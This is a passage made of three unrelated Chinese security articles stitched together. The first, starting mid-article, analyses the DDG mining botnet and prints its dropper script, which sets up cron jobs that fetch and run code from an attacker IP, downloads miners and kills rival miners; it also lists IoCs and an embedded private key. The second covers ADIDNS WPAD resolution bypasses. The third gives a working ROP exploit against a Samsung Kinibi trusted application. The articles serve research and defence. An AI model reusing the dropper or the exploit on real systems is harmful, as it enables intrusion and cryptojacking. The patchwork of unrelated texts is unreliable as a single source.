#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
由 i.sh
脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括：
* **DDG 样本** ：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本
* **ss22522** 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052
* **ss2480** 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己
另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。
2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 **imWBR1** ，正是该木马中内置了前文列出的第二个
XMR 钱包地址 :
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
### 第二阶段
ddg 样本中内置了一个 **hub_iplist.txt** 文件，其中包含了上百个 `hub_ip:8443` 的列表。经我们排查，这些 hub_ip
对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。
在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问
`http://<hub_ip>:8443/wnTKYg` 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 **AES-NI** ，还会下载 **wnTKYg.noaes** ）。ddg 尝试连接 hub_ip 的过程抓包如下：
ddg.xxx 与 ss2480.xxx 样本均由 Golang 编写而成。ddg 与 hub_ip 通信，通过一个 Golang 第三方 Stream
Multiplexing 库 [Smux](https://github.com/xtaci/smux) 完成。ddg 用了 Smux 的默认配置：
所以在 ddg 从 hub_ip 下载 Miner 并启动后的
[KeepAlive](https://github.com/xtaci/smux/blob/ebec7ef2574b42a7088cd7751176483e0a27d458/session.go#L284)
阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包：
## 样本中内置的 hub_iplist.txt
i.sh 文件中的 ddg 样本下载 URL 是 `hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)`。ddg
文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个
Domain 未注册，然后被我们注册并 Sinkhole。
2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了
`hxxp://218.248.40.228:8443/2020/ddg.$(uname -m)` 。我们排查后发现是 ddg 内置的
hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的
hub_ip。
## DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务
以上分析中，DDG 的攻击目标集中在 OrientDB 上。
事实上，ddg 木马中的 `ddg.$(uname -m)` 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg
一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示：
样本中还有内置的 3 个 x509 证书 / 密钥文件如下：
* slave.pem
* ca.pem
* slave.key
详细内容见文末 IoC 部分。
回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis
数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27
20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。
按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务：
###
## 近况
北京时间 2018.1.25 日 21 点左右，`hxxp://218.248.40.228:8443/2011/ddg.x86_64` 的样本更新，MD5
为 **cbc4ba55c5ac0a12150f70585af396dc** ，是一个 Mirai 家族的样本。
Mirai C2 为 `linuxuclib.com:8080` 。
另外一个硬编码明文 C2 `jbeupq84v7.2y.net` 目前在在DNS系统中没有配置解析IP地址。
## IoC
C2:
202.181.169.98:8443
218.248.40.228:8443
linuxuclib.com:8080
jbeupq84v7.2y.net
样本 MD5:
b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011
7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011
1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020
5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020
f52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021
3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021
b0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1
8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2
4fc28b8727da0bcd083a7ac3f70933fa ss22522.2
d3b1700a413924743caab1460129396b wnTKYg
8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes
9ebf7fc39efe7c553989d54965ebb468 imWBR1
样本下载链接：
hxxp://218.248.40.228:8443/2011/ddg.i686
hxxp://218.248.40.228:8443/2011/ddg.x86_64
hxxp://218.248.40.228:8443/2020/ddg.i686
hxxp://218.248.40.228:8443/2020/ddg.x86_64
hxxp://218.248.40.228:8443/2021/ddg.i686
hxxp://218.248.40.228:8443/2021/ddg.x86_64
hxxp://218.248.40.228:8443/i.sh
hxxp://218.248.40.228:8443/ss22522.2
hxxp://218.248.40.228:8443/ss2480.1
hxxp://218.248.40.228:8443/ss2480.2
hxxp://218.248.40.228:8443/wnTKYg
hxxp://202.181.169.98:8443/2011/ddg.i686
hxxp://202.181.169.98:8443/2011/ddg.x86_64
hxxp://202.181.169.98:8443/i.sh
hxxp://202.181.169.98:8443/ss22522.2
hxxp://202.181.169.98:8443/ss2480.1
hxxp://202.181.169.98:8443/ss2480.2
hxxp://202.181.169.98:8443/wnTKYg
hxxp://218.248.40.228:8443/imWBR1
ip_hublist(v2011):
[ip_hublist__2011.txt](http://blog.netlab.360.com/file/ip_hublist__2011.txt)
ip_hublist(v2020~v2021):
[ip_hublist__2020.txt](http://blog.netlab.360.com/file/ip_hublist__2020.txt)
三个 x509 证书/密钥文件：
slave.pem
-----BEGIN CERTIFICATE----- MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS
uDpcOCRjJg==
-----END CERTIFICATE-----
ca.pem
-----BEGIN CERTIFICATE----- MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP
-----END CERTIFICATE-----
slave.key
-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk
-----END RSA PRIVATE KEY----- | 社区文章 |
# ADIDNS 安全研究：绕过 GQBL 限制解析 WPAD 域名
|
##### 译文声明
本文是翻译文章，文章原作者 netspi，文章来源：blog.netspi.com
原文地址：<https://blog.netspi.com/adidns-revisited/>
译文仅供参考，具体内容表达以及含义原文为准。
2018年6月，作者发布了[如何利用adidns](https://blog.netspi.com/exploiting-adidns/)的文章，文章主要涵盖攻击和防御的相关技术。本文分析另一个与域名解析有关的默认设置问题。
## WPAD
Web Proxy Auto-Discovery (WPAD，web代理自动发现)是LLMNR（链路本地多播名称解析）和NBNS（网络基本输入/输出系统
(NetBIOS)
名称服务器）欺骗的常见目标。WPAD是通过ADIDNS增加的最明显的记录。认证的用户可以增加这一记录，因为它默认是不存在的。如果用户为WPAD增加了记录，就可以发现它什么都不会做。这是因为全局查询区块列表（global
query block list,GQBL）中默认含有WPAD和ISATAP。
主流的Windows DNS服务器不会应答与GQBL中主机列表匹配的域名查询。所以，GQBL经常是不工作的。
## 绕过GQBL
研究人员在测试`wildcard record`（通配符记录）中发现，Windows
DNS服务器会忽略GQBL并通过通配符应答WPAD的请求。研究人员只通过动态更新来增加记录。因为`*`在动态更新中并不能准确工作，所以研究人员决定找一个可以与动态更新一起协作的GQBL绕过方法。
第一个方法就是通过`DNAME`记录。如果有WPAD的`DNAME`记录，Windows DNS服务器会解析WPAD。
一般情况下，DNAME记录并不会解析与真实记录匹配的请求。DNS服务器只会应答与主机映射的域名的请求，比如`host.wpad.inveigh.net`。在这个例子中，`wpad.inveigh.net`的root（根）就会被解析。
但研究人员发现Windows
DNS服务器在满足特定条件的情况下会应答`DNAME`记录根的请求。记录需要与GQBL列表中的主机相匹配，而GQBL需要开启。考虑到WPAD，默认开启的GQBL会让情况变得更糟。
但DNAME记录还是不能动态更新。所以研究人员尝试寻找其他的方法，即在WPAD子域名中添加NS记录。
该方法稍微有点复杂，因为它需要NS记录指向研究人员控制的DNS服务器。Kali系统中的DNSchef是一种简单的设置DNS服务器来提供应答接收的请求的方法。
但这种方法也不能动态更新。这三种方法实现过程都有点复杂。
## CVE-2018-8320
研究人员将三种GQBL绕过的方法通告给了微软，微软为该GQBL漏洞分配CVE编号为 CVE-2018-8320。
通配符记录不再解析GQBL列表中主机的请求。
`DNAME`记录不再解析GQBL列表中主机的请求。
`NS`记录仍然可以绕过GQBL。
## 域名后缀搜索顺序
研究人员推荐管理员控制的通配符记录作为防御ADIDNS通配符攻击和`LLMNR/NBNS`欺骗的方法。许多研究人员指出当多个域名后缀通过组策略被分配给搜索列表时，通配符记录会引发一些问题。
在进行了一些测试后，研究人员确认他们是对的。当匹配的有效记录存在时，更高域名后缀区域的通配符可以防止有效的非完全适当的请求降到较低的域名后缀中。
这一行为导致了一种全新的攻击方法，即攻击请求已有记录的请求。如果可以在zone中增加记录作为后缀，那么就可以在低优先级的域名后缀中攻击有效的主机。对目标主机的非完全适当的请求会被新添加的记录所解析。
DNS后缀在执行通配符攻击时会被考虑到。如果找到一条有多个DNS后缀的搜索列表，通配符攻击可以导致注入失败。
### 通过钓鱼进行ADIDNS攻击
研究人员认为ADIDNS攻击很容易通过钓鱼攻击进行传播。只有一个AD连接的钓鱼目标需要执行payload来增加记录，该记录可以发送流量到远程攻击者控制的系统中。这些记录还可以被用作C2或设置其他的钓鱼攻击。
上面是用powershell工具增加指向公有IP的记录的例子。对于真实的钓鱼攻击，可以使用更加合适的payload。
这是另一个NS记录用于攻击的例子。一旦设置了`NS`记录，可以通过自己的DNS服务器来增加额外的记录到受控的子域名中。
### Domain Borrowing
当企业的内部AD域名与其公有域名匹配时，来自边界外的ADIDNS攻击就显得更有意思了。在该攻击场景中，用户可以使用公有域名的可信来进行内容过滤。
但这也有一定的限制，就是只能影响使用目标ADIDNS作域名解析的资源。但是在设置HTTPS的可信证书方面会比较麻烦。
## C2和数据窃取技术
文章中提到可以将AD用作C2信道。那么ADIDNS可以吗？当增加了`dnsNode`对象后，认证的用户从创建开始就会得到完全的控制。`dnsNode`对象也含有大量可写的属性，这使`dnsNode`对象成为C2和通过AD进行数据窃取的备选方案。
## ADIDNS防御
前面提到，如果用户使用含有多个DNS后缀的搜索列表，管理员控制的通配符A记录可能会带来一些问题。作为一个备选方法，用户可以无法解析域名请求的记录类型来创建通配符，比如TXT记录。
因为所有的记录类型都保存在`dnsNode`对象中，增加任意形式的通配符记录可以防止非授权用户增加名为`*`的`dnsNode`。但非解析的通配符记录无法作为应对`LLMNR`和`NBNS`欺骗的工具。
锁定`zone`权限是缓解认证用户ADIDNS攻击的最彻底的方法。根据设置，用户可能可以利用DHCP中的特定DNS动态更新账户。这允许用户移除Authenticated
Users的`Create all child objects`权限。
许多域名解析攻击都是通过非完全有效的域名请求进行的。这类用户生成的请求很难消除。 | 社区文章 |
# KINIBI TEE 的可信环境及相关漏洞与利用方法
##### 译文声明
本文是翻译文章，文章原作者 synacktiv，文章来源：synacktiv.com
原文地址：<https://www.synacktiv.com/posts/exploit/kinibi-tee-trusted-application-exploitation.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
很多Android设备和嵌入式系统都使用TEE(Trusted Execution
Environment,可信执行环境)来实现一些安全功能(如硬件密码/密钥、DRM（数字版权保护）、移动支付、生物识别等等)。在ARM平台上，TEE是使用ARM
Trustzone技术将其运行环境与标准操作系统(如Linux)隔离开来的小型操作系统。
TEE操作系统比传统的终端应用运行环境(REE,Rich Execution
Environment，如Android)简单得多，对逆向工程来说也是一件有趣的事情。这篇文章介绍Trustonic的TEE实现，特别是三星为Exynos芯片组所做的集成。三星最近修补了可信应用（TA,
Trusted Application）中的一个漏洞。在简要介绍Trustzone/Kinibi之后，本文详细介绍了该漏洞的利用情况。
## TrustZone
在Trustzone体系结构中，TEE运行在安全状态的EL1异常级别。可以在此基础上加载可信的应用程序，并在安全状态的EL0异常级别运行。受信任的应用程序是签名的映像，只有在映像签名正确且来自受信任的开发人员的情况下才能加载。
REE通过执行Secure Monitor调用(在内核模式下使用SMC特权指令)与TEE通信。这些调用由Secure
Monitor处理，并中继到TEE内核。
Trustzone允许使用非安全标志(NS, Non-Secure)标记内存，从而将安全区域内存与正常区域隔离开来。在正常情况下运行的代码只能访问标记为NS的内存。
在移动端上有三个主要的TEE实现：
* 基于高通SoC设备的QSEE/QTEE
* 华为的TrustedCore
* Trustonic的Kinibi
有一个开源实现：[OP-TEE](https://github.com/OP-TEE/optee_os)，这个版本可以在QEMU和一些开发板上运行。
## Kinibi
Kinibi是由Trustonic(也称为T-Base或Mobicore)构建的TEE实现，主要用于Mediatek和ExynosSoC。Kinibi由多个组件组成：
* 微内核：MTK
* 运行时管理器：RTM
* 少数内置驱动程序：密码，安全存储等
* 应用程序/驱动程序使用的库：McLib
Kinibi只在Aarch32模式下运行。
微内核运行在安全状态的EL1异常级别。它提供对驱动程序和可信应用的系统调用，并强制任务隔离。Secure
Monitor中的一段代码将SMC中断中继到TEE内核，这允许两个区域之间的通信。内核还执行抢占式调度。
运行管理器是Kinibi的主要任务，它管理正常客户端和可信应用之间的会话。当REE客户端打开新会话时，RTM首先检查应用程序是否已经加载。加载过程涉及应用程序二进制的签名检查。还可以对应用程序二进制文件进行加密，因此RTM在加载可信应用之前对其进行解密。
驱动程序在安全状态的EL0异常级别运行，由于它们的二进制文件具有与可信应用完全相同的格式，所以它们使用相同的API加载。驱动程序可以访问比TA更多的系统。这些附加的系统允许驱动程序映射其他任务内存、物理内存、执行SMC调用等。
在三星手机上，这些组件可以很容易地从sboot.bin中提取出来。@kutyacica在EkoParty会议上介绍了提取这些部分的一种很好的方法。他在sboot.bin二进制文件中找到了一个表，其中包含了不同组件的偏移量。自Galaxy
S6以来，这个表的格式略有改变，但打开二进制文件仍然很简单。
## Trusted Applications（可信应用）
在大多数情况下，可信应用和驱动程序都是签名的二进制文件，但没有加密，可以很容易地进行分析。在三星手机上，这些二进制文件存储在`/vendor/app/mcRegistry/和/system/app/mcRegistry/`目录中。
可信应用和驱动程序二进制文件使用的格式是MCLF格式，该格式被记录在[trustonic-tee-user-space](https://github.com/Trustonic/trustonic-tee-user-space/blob/master/common/MobiCore/inc/mcLoadFormat.h) GitHub项目的头文件中。使用[mclf-ida-loader](https://github.com/ghassani/mclf-ida-loader)可以在IDA中加载这种格式。
当TA加载时，Kinibi使用MCLF报头来映射TA内存空间中的代码、数据和BSS区域。mcLib库映射到一个固定地址(GalaxyS8/S9上为0x07d00000)。打开会话时，共享缓冲区(称为tci)也会映射到固定地址：0x00100000或0x00300000，这取决于MCLF头中指定的版本。
REE中的TA客户端可以映射新的共享内存区域，这些区域映射在`0x00200000 + map_id*0x00100000`。
大多数可信使用tci共享内存作为输入和输出缓冲区，前32位用作命令标识符（cammand
id）。通常初始化在入口点(密码初始化、堆栈cookie随机化等)进行，然后调用主函数。main函数检查共享缓冲区大小，然后启动主循环。TA使用`tlApiWaitNotification`
API等待新消息，并处理共享缓冲区的内容。响应数据被写入共享缓冲区，TA使用`tlApiNotify` API通知REE，并等待新消息。
## TA exploitation 101
即使TEE系统专门用于安全操作，操作系统也没有ASLR/PIE那样的安全强化，这使得利用可信应用中的漏洞变得非常容易。
三星在`G955FXXU2CRED`和`G955FXXU3CRGH`(Galaxy S8+)中修补了SEM
TA(`fffffffff0000000000000000000001b.tlbin`)。
修补程序修复了0x1B命令处理程序中可直接访问的基于堆栈的缓冲区溢出。此外，在这个TA的新版本中启用了堆栈cookie。
/* pseudo code in G955FXXU2CRED */
void __fastcall handle_cmd_id_0x1b(unsigned int *tciBuffer)
{
// [...]
char v64[256]; // [sp+158h] [bp-770h]
char v65[256]; // [sp+258h] [bp-670h]
char v66[200]; // [sp+358h] [bp-570h]
char v67[1024]; // [sp+420h] [bp-4A8h]
char v68[64]; // [sp+820h] [bp-A8h]
char v69[52]; // [sp+860h] [bp-68h]
int v70; // [sp+894h] [bp-34h]
bzero(v66, 0xC8u);
bzero(v64, 0x100u);
bzero(v65, 0x100u);
bzero(v68, 0x40u);
v4 = tciBuffer[2];
v5 = tciBuffer[3];
// memcpy with source and length controlled
memcpy(v66, tciBuffer + 4, tciBuffer[3]);
v6 = v5 + 12;
v7 = *(int *)((char *)tciBuffer + v5 + 16);
if ( tciBuffer[23042] > (unsigned int)(v7 + 208) )
{
snprintf(v67, 0x400, "~%18s:%4d: Input data is over the buffer.", v8, 113);
print("[E]SEM %sn", v67);
return;
}
// [...]
如果没有堆栈cookie，就可以在命令处理程序中直接访问基于堆栈的缓冲区溢出，这应该会使你想起你的第一次开发利用。
可信应用具有read-exec代码页和read-write数据页映射。Kinibi没有类似mprotect的syscall，也不提供syscall和可信应用之间的映射，因此在TA中执行任意代码的唯一方法是对其代码进行ROP。
为了与TEE进行通信，使用了libMcClient.so库。该库提供了加载TA、打开会话、映射内存和通知可信应用的功能。Trustonic给出了使用这个库的头文件：MobiCoreDriverApi.h。在Android上，只有一些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。
以下是一个简单的漏洞，即ROP打印受控的日志字符串，在三星设备上TEE日志在KMSG中打印。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "MobiCoreDriverApi.h"
#define err(f_, ...) {printf("[33[31;1m!33[0m] "); printf(f_, ##__VA_ARGS__);}
#define ok(f_, ...) {printf("[33[32;1m+33[0m] "); printf(f_, ##__VA_ARGS__);}
#define info(f_, ...) {printf("[33[34;1m-33[0m] "); printf(f_, ##__VA_ARGS__);}
#define warn(f_, ...) {printf("[33[33;1mw33[0m] "); printf(f_, ##__VA_ARGS__);}
int main(int argc, char **argv) {
mcResult_t ret;
mcSessionHandle_t session = {0};
mcBulkMap_t map;
uint32_t stack_size;
char *to_map;
// ROPgadget --binary fffffffff0000000000000000000001b.tlbin
// --rawArch arm --rawMode thumb --offset 0x1000
uint32_t rop_chain[] = {
0x38c2 + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
0x0, // r0 (will be the string to print)
0x0, // r1 (argument, will be set after mcMap)
0x0, // r2 (not used)
0x0, // r3 (not used)
0x0, // r4 (not used)
0x0, // r5 (not used)
0x0, // r6 (not used)
0x25070 + 1 // tlApiPrintf wrapper
};
FILE *f = fopen(
"/data/local/tmp/fffffffff0000000000000000000001b.tlbin",
"rb"
);
if(!f) {
err("Can't open TA %sn",argv[1]);
return 1;
}
fseek(f, 0, SEEK_END);
uint32_t ta_size = ftell(f);
fseek(f, 0, SEEK_SET);
char *ta_mem = malloc(ta_size);
if (fread(ta_mem, ta_size, 1, f) != 1) {
err("Can't read TA");
return 1;
}
uint32_t tciLen = 0x20000; // TA access to fixed offset on this WSM
// so the buffer should be large enough
uint32_t *tci = malloc(tciLen);
ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
if(ret != MC_DRV_OK) {
err("Can't mcOpenDevicen");
return 1;
}
to_map = strdup("--> Hello from the trusted application <--n");
ret = mcOpenTrustlet(&session, 0, ta_mem, ta_size,
(uint8_t *)tci, tciLen);
if(ret == MC_DRV_OK) {
// map the string in TA virtual space, the API returns
// the address in the TA space.
ret = mcMap(&session, to_map, 40960, (mcBulkMap_t *)&map);
if (ret != MC_DRV_OK) {
err("Can't map inn");
return 1;
}
ok("Address in TA virtual memory : 0x%xn", map.sVirtualAddr);
// rop_chain[1] is R0, point it to the string in TA
// address space.
rop_chain[1] = map.sVirtualAddr;
stack_size = 0x54c; // fill stack frame
stack_size += 0x20; // popped registers size
// fill tciBuffer
tci[0] = 27; // cmd id
tci[3] = stack_size + sizeof(rop_chain); // memcpy size
memcpy(&tci[4 + stack_size/4], &rop_chain, sizeof(rop_chain));
// notify the TA
mcNotify(&session);
mcWaitNotification(&session, 2000);
mcCloseSession(&session);
}
mcCloseDevice(MC_DEVICE_ID_DEFAULT);
return 0;
}
dreamlte:/ # /data/local/tmp/exploit_sem
[+] Address in TA virtual memory : 0x2005f0
dreamlte:/ # dmesg -c | grep TEE
TEE: b01|[I]SEM [INFO]:Start SEM TA :: Version: 2016.06.15.1
TEE: b01|[E]SEM Wrong CCM version
TEE: b01|[E]SEM Wrong CCM version
TEE: b01|[E]SEM handleCCMDataSWP [ error END]
TEE: b01|--> Hello from the trusted application <--
## 结论
本文展示了在可信应用中实现任意代码执行有多么容易。SEM应用程序包含其他很多漏洞，但堆栈cookie限制了攻击的实现。
TA中已修补的漏洞在最新的设备上应该是不可利用的，因为TEE提供了一种反回滚机制（anti-rollback）。不幸的是，在合并与安全相关的补丁时，三星并不总是增加版本号。这是SEM
TA的情况，这意味着旧版本仍然可以加载和利用。在许多三星设备上，反回滚机制似乎根本不起作用(就像在S8上那样)。
